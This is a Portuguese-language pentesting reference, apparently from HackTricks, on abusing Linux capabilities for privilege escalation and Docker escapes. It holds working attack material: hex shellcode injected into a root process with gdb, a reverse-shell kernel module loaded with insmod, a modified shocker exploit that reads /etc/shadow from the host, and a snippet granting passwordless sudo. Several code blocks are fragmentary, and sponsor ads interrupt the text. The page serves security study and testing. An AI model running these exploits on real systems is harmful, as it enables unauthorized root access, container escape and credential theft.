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## Linux Capabilities
As capacidades do Linux dividem **os privilégios de root em unidades menores e distintas**, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente.
### O Problema:
- Usuários normais têm permissões limitadas, afetando tarefas como abrir um socket de rede que requer acesso root.
### Conjuntos de Capacidades:
1.**Inherited (CapInh)**:
- **Propósito**: Determina as capacidades transmitidas do processo pai.
- **Funcionalidade**: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos.
- **Restrições**: Um processo não pode ganhar capacidades que seu pai não possuía.
2.**Effective (CapEff)**:
- **Propósito**: Representa as capacidades reais que um processo está utilizando em qualquer momento.
- **Funcionalidade**: É o conjunto de capacidades verificadas pelo kernel para conceder permissão para várias operações. Para arquivos, este conjunto pode ser uma flag indicando se as capacidades permitidas do arquivo devem ser consideradas efetivas.
- **Significado**: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.
3.**Permitted (CapPrm)**:
- **Propósito**: Define o conjunto máximo de capacidades que um processo pode possuir.
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
- **Limite**: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.
4.**Bounding (CapBnd)**:
- **Propósito**: Coloca um teto nas capacidades que um processo pode adquirir durante seu ciclo de vida.
- **Funcionalidade**: Mesmo que um processo tenha uma certa capacidade em seu conjunto herdável ou permitido, ele não pode adquirir essa capacidade a menos que também esteja no conjunto de limites.
- **Caso de uso**: Este conjunto é particularmente útil para restringir o potencial de escalonamento de privilégios de um processo, adicionando uma camada extra de segurança.
5.**Ambient (CapAmb)**:
- **Propósito**: Permite que certas capacidades sejam mantidas durante uma chamada de sistema `execve`, que normalmente resultaria em um reset completo das capacidades do processo.
- **Funcionalidade**: Garante que programas não-SUID que não têm capacidades de arquivo associadas possam reter certos privilégios.
- **Restrições**: As capacidades neste conjunto estão sujeitas às restrições dos conjuntos herdáveis e permitidos, garantindo que não excedam os privilégios permitidos do processo.
```python
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
Para ver as capacidades de um processo específico, use o arquivo **status** no diretório /proc. Como ele fornece mais detalhes, vamos limitá-lo apenas às informações relacionadas às capacidades do Linux.\
Observe que para todos os processos em execução, as informações de capacidade são mantidas por thread; para binários no sistema de arquivos, são armazenadas em atributos estendidos.
Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h
Você pode encontrar as capacidades do processo atual em `cat /proc/self/status` ou fazendo `capsh --print` e de outros usuários em `/proc/<pid>/status`
```bash
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
```
Este comando deve retornar 5 linhas na maioria dos sistemas.
* CapInh = Capacidades herdadas
* CapPrm = Capacidades permitidas
* CapEff = Capacidades efetivas
* CapBnd = Conjunto de limites
* CapAmb = Conjunto de capacidades ambientais
```bash
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Esses números hexadecimais não fazem sentido. Usando a utilidade capsh, podemos decodificá-los nos nomes das capacidades.
Vamos verificar agora as **capabilities** usadas pelo `ping`:
```bash
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Embora isso funcione, há outra maneira mais fácil. Para ver as capacidades de um processo em execução, basta usar a ferramenta **getpcaps** seguida pelo seu ID de processo (PID). Você também pode fornecer uma lista de IDs de processo.
```bash
getpcaps 1234
```
Vamos verificar aqui as capacidades do `tcpdump` após ter dado ao binário capacidades suficientes (`cap_net_admin` e `cap_net_raw`) para monitorar a rede (_tcpdump está rodando no processo 9562_):
```bash
#The following command give tcpdump the needed capabilities to sniff traffic
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Como você pode ver, as capacidades dadas correspondem aos resultados das 2 maneiras de obter as capacidades de um binário.\
A ferramenta _getpcaps_ usa a chamada de sistema **capget()** para consultar as capacidades disponíveis para um determinado thread. Esta chamada de sistema só precisa fornecer o PID para obter mais informações.
### Capacidades de Binários
Os binários podem ter capacidades que podem ser usadas durante a execução. Por exemplo, é muito comum encontrar o binário `ping` com a capacidade `cap_net_raw`:
```bash
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
Você pode **procurar binários com capacidades** usando:
```bash
getcap -r / 2>/dev/null
```
### Removendo capacidades com capsh
Se removermos as capacidades CAP\_NET\_RAW para _ping_, então a utilidade ping não deve mais funcionar.
```bash
capsh --drop=cap_net_raw --print -- -c "tcpdump"
```
Além da saída do _capsh_ em si, o comando _tcpdump_ também deve gerar um erro.
> /bin/bash: /usr/sbin/tcpdump: Operação não permitida
O erro mostra claramente que o comando ping não tem permissão para abrir um socket ICMP. Agora sabemos com certeza que isso funciona como esperado.
### Remover Capacidades
Você pode remover capacidades de um binário com
```bash
setcap -r </path/to/binary>
```
## User Capabilities
Aparentemente **é possível atribuir capacidades também a usuários**. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário.\
Baseado em [isso](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [isso](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [isso](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\
Exemplo de arquivo:
```bash
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
```
## Capacidades do Ambiente
Compilando o seguinte programa, é possível **gerar um shell bash dentro de um ambiente que fornece capacidades**.
Dentro do **bash executado pelo binário de ambiente compilado**, é possível observar as **novas capacidades** (um usuário regular não terá nenhuma capacidade na seção "atual").
Você **só pode adicionar capacidades que estão presentes** tanto no conjunto permitido quanto no conjunto herdável.
{% endhint %}
### Binários cientes de capacidade / Binários sem capacidade
Os **binários cientes de capacidade não usarão as novas capacidades** fornecidas pelo ambiente, no entanto, os **binários sem capacidade as usarão** pois não as rejeitarão. Isso torna os binários sem capacidade vulneráveis dentro de um ambiente especial que concede capacidades a binários.
## Capacidades de Serviço
Por padrão, um **serviço executado como root terá todas as capacidades atribuídas**, e em algumas ocasiões isso pode ser perigoso.\
Portanto, um arquivo de **configuração de serviço** permite **especificar** as **capacidades** que você deseja que ele tenha, **e** o **usuário** que deve executar o serviço para evitar executar um serviço com privilégios desnecessários:
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas.
As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas passando comandos ou argumentos maliciosos que são então executados como root.
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
1. não é propriedade do root
2. não tem bits `SUID`/`SGID` definidos
3. tem conjuntos de capacidades vazios (por exemplo: `getcap myelf` retorna `myelf =ep`)
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro da saída anterior, você pode ver que a capacidade SYS\_ADMIN está habilitada.
* **Montar**
Isso permite que o contêiner docker **monte o disco do host e acesse-o livremente**:
```bash
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
No método anterior, conseguimos acessar o disco do host do docker.\
Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH:
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
```
## CAP\_SYS\_PTRACE
**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host.** Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
Depure um processo root com gdb e copie e cole as linhas gdb geradas anteriormente:
```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**Exemplo com ambiente (Docker breakout) - Outro abuso do gdb**
Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazer com que ele chame a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
```
Liste **processos** em execução no **host**`ps -eaf`
1. Obtenha a **arquitetura**`uname -m`
2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
4.**Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject`
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.
**Isso significa que você pode** **inserir/remover módulos do kernel no/do kernel da máquina host.**
**Exemplo com binário**
No exemplo a seguir, o binário **`python`** possui essa capacidade.
No exemplo a seguir, o binário **`kmod`** possui esta capacidade.
```bash
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
O que significa que é possível usar o comando **`insmod`** para inserir um módulo do kernel. Siga o exemplo abaixo para obter um **reverse shell** abusando desse privilégio.
**Exemplo com ambiente (Docker breakout)**
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro da saída anterior, você pode ver que a capacidade **SYS\_MODULE** está habilitada.
**Crie** o **módulo do kernel** que vai executar um shell reverso e o **Makefile** para **compilá-lo**:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```
{% endcode %}
{% hint style="warning" %}
O caractere em branco antes de cada palavra make no Makefile **deve ser uma tabulação, não espaços**!
{% endhint %}
Execute `make` para compilá-lo.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
```
Finalmente, inicie `nc` dentro de um shell e **carregue o módulo** de outro e você capturará o shell no processo nc:
```bash
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
```
**O código desta técnica foi copiado do laboratório de "Abusing SYS\_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
## CAP\_DAC\_READ\_SEARCH
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Isso significa que você pode** **ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/execução de diretórios.**
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro da saída anterior, você pode ver que a capacidade **DAC\_READ\_SEARCH** está habilitada. Como resultado, o contêiner pode **debugar processos**.
Você pode aprender como a seguinte exploração funciona em [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), mas em resumo, **CAP\_DAC\_READ\_SEARCH** não apenas nos permite percorrer o sistema de arquivos sem verificações de permissão, mas também remove explicitamente quaisquer verificações para _**open\_by\_handle\_at(2)**_ e **pode permitir que nosso processo acesse arquivos sensíveis abertos por outros processos**.
O exploit original que abusa dessas permissões para ler arquivos do host pode ser encontrado aqui: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), a seguir está uma **versão modificada que permite indicar o arquivo que você deseja ler como primeiro argumento e despejá-lo em um arquivo.**
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) <0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) <0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) <0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
```
{% hint style="warning" %}
O exploit precisa encontrar um ponteiro para algo montado no host. O exploit original usou o arquivo /.dockerinit e esta versão modificada usa /etc/hostname. Se o exploit não estiver funcionando, talvez você precise definir um arquivo diferente. Para encontrar um arquivo que está montado no host, basta executar o comando mount:
{% endhint %}
![](<../../.gitbook/assets/image(407)(1).png>)
**O código desta técnica foi copiado do laboratório de "Abusing DAC\_READ\_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## CAP\_DAC\_OVERRIDE
**Isso significa que você pode contornar as verificações de permissão de escrita em qualquer arquivo, então você pode escrever em qualquer arquivo.**
Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Exemplo com binário**
Neste exemplo, o vim tem essa capacidade, então você pode modificar qualquer arquivo como _passwd_, _sudoers_ ou _shadow_:
```bash
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
```
**Exemplo com binário 2**
Neste exemplo, o binário **`python`** terá esta capacidade. Você poderia usar o python para sobrescrever qualquer arquivo:
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**Exemplo com ambiente + CAP\_DAC\_READ\_SEARCH (quebra do Docker)**
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Primeiro de tudo, leia a seção anterior que [**abusa da capacidade DAC\_READ\_SEARCH para ler arquivos arbitrários**](linux-capabilities.md#cap\_dac\_read\_search) do host e **compile** o exploit.\
Em seguida, **compile a seguinte versão do exploit shocker** que permitirá que você **escreva arquivos arbitrários** dentro do sistema de arquivos dos hosts:
Para escapar do contêiner docker, você poderia **baixar** os arquivos `/etc/shadow` e `/etc/passwd` do host, **adicionar** a eles um **novo usuário** e usar **`shocker_write`** para sobrescrevê-los. Então, **acessar** via **ssh**.
**O código desta técnica foi copiado do laboratório de "Abusing DAC\_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
## CAP\_CHOWN
**Isso significa que é possível mudar a propriedade de qualquer arquivo.**
**Exemplo com binário**
Vamos supor que o **`python`** binário tenha essa capacidade, você pode **mudar** o **proprietário** do arquivo **shadow**, **mudar a senha do root** e escalar privilégios:
Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Uma vez que você tenha encontrado um arquivo que pode abusar (via leitura ou escrita) para escalar privilégios, você pode **obter um shell se passando pelo grupo interessante** com:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo `/etc/shadow`:
```bash
cat /etc/shadow
```
Se o **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](./#writable-docker-socket).
## CAP\_SETFCAP
**Isso significa que é possível definir capacidades em arquivos e processos**
Esta capacidade permite **dar qualquer outra capacidade a binários**, então podemos pensar em **escapar** do contêiner **abusando de qualquer uma das outras quebras de capacidade** mencionadas nesta página.\
No entanto, se você tentar dar, por exemplo, as capacidades CAP\_SYS\_ADMIN e CAP\_SYS\_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o **binário não conseguirá executar após isso**:
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Este é um **superconjunto limitante para as capacidades efetivas** que a thread pode assumir. Também é um superconjunto limitante para as capacidades que podem ser adicionadas ao conjunto herdável por uma thread que **não possui a capacidade CAP\_SETPCAP** em seu conjunto efetivo._\
Parece que as capacidades Permitidas limitam aquelas que podem ser usadas.\
No entanto, o Docker também concede o **CAP\_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\
No entanto, na documentação desta capacidade: _CAP\_SETPCAP : \[…] **adiciona qualquer capacidade do conjunto de limites da thread chamadora** ao seu conjunto herdável_.\
Parece que só podemos adicionar ao conjunto herdável capacidades do conjunto de limites. O que significa que **não podemos colocar novas capacidades como CAP\_SYS\_ADMIN ou CAP\_SYS\_PTRACE no conjunto herdável para escalar privilégios**.
## CAP\_SYS\_RAWIO
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornece uma série de operações sensíveis, incluindo acesso a `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, modificar `mmap_min_addr`, acessar chamadas de sistema `ioperm(2)` e `iopl(2)`, e vários comandos de disco. O `FIBMAP ioctl(2)` também é habilitado por meio dessa capacidade, o que causou problemas no [passado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). De acordo com a página do manual, isso também permite que o detentor `realize uma variedade de operações específicas de dispositivos em outros dispositivos`.
Isso pode ser útil para **escalonamento de privilégios** e **quebra do Docker.**
## CAP\_KILL
**Isso significa que é possível matar qualquer processo.**
**Exemplo com binário**
Vamos supor que o **`python`** binário tenha essa capacidade. Se você pudesse **também modificar alguma configuração de serviço ou socket** (ou qualquer arquivo de configuração relacionado a um serviço), você poderia criar um backdoor, e então matar o processo relacionado a esse serviço e esperar que o novo arquivo de configuração fosse executado com seu backdoor.
```python
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
```
**Privesc com kill**
Se você tiver capacidades de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador node** para onde você pode se conectar.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## CAP\_NET\_BIND\_SERVICE
**Isso significa que é possível escutar em qualquer porta (mesmo nas privilegiadas).** Você não pode escalar privilégios diretamente com essa capacidade.
Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela a qualquer outra porta (alguns serviços exigem conexões de portas privilegiadas específicas)
A capacidade [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando a geração e envio de pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.
**Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade.
**Exemplo com binário**
Se o binário **`tcpdump`** tiver essa capacidade, você poderá usá-lo para capturar informações de rede.
```bash
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
Note que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
**Exemplo com binário 2**
O seguinte exemplo é um código **`python2`** que pode ser útil para interceptar o tráfego da interface "**lo**" (**localhost**). O código é do laboratório "_The Basics: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
A capacidade [**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
**Exemplo com binário**
Vamos supor que o **binário python** tenha essas capacidades.
```python
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
```
## CAP\_LINUX\_IMMUTABLE
**Isso significa que é possível modificar atributos de inode.** Você não pode escalar privilégios diretamente com essa capacidade.
**Exemplo com binário**
Se você descobrir que um arquivo é imutável e o python tem essa capacidade, você pode **remover o atributo imutável e tornar o arquivo modificável:**
```python
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
```
```python
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
{% hint style="info" %}
Observe que geralmente este atributo imutável é definido e removido usando:
```bash
sudo chattr +i file.txt
sudo chattr -i file.txt
```
{% endhint %}
## CAP\_SYS\_CHROOT
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a execução da chamada de sistema `chroot(2)`, que pode potencialmente permitir a fuga de ambientes `chroot(2)` através de vulnerabilidades conhecidas:
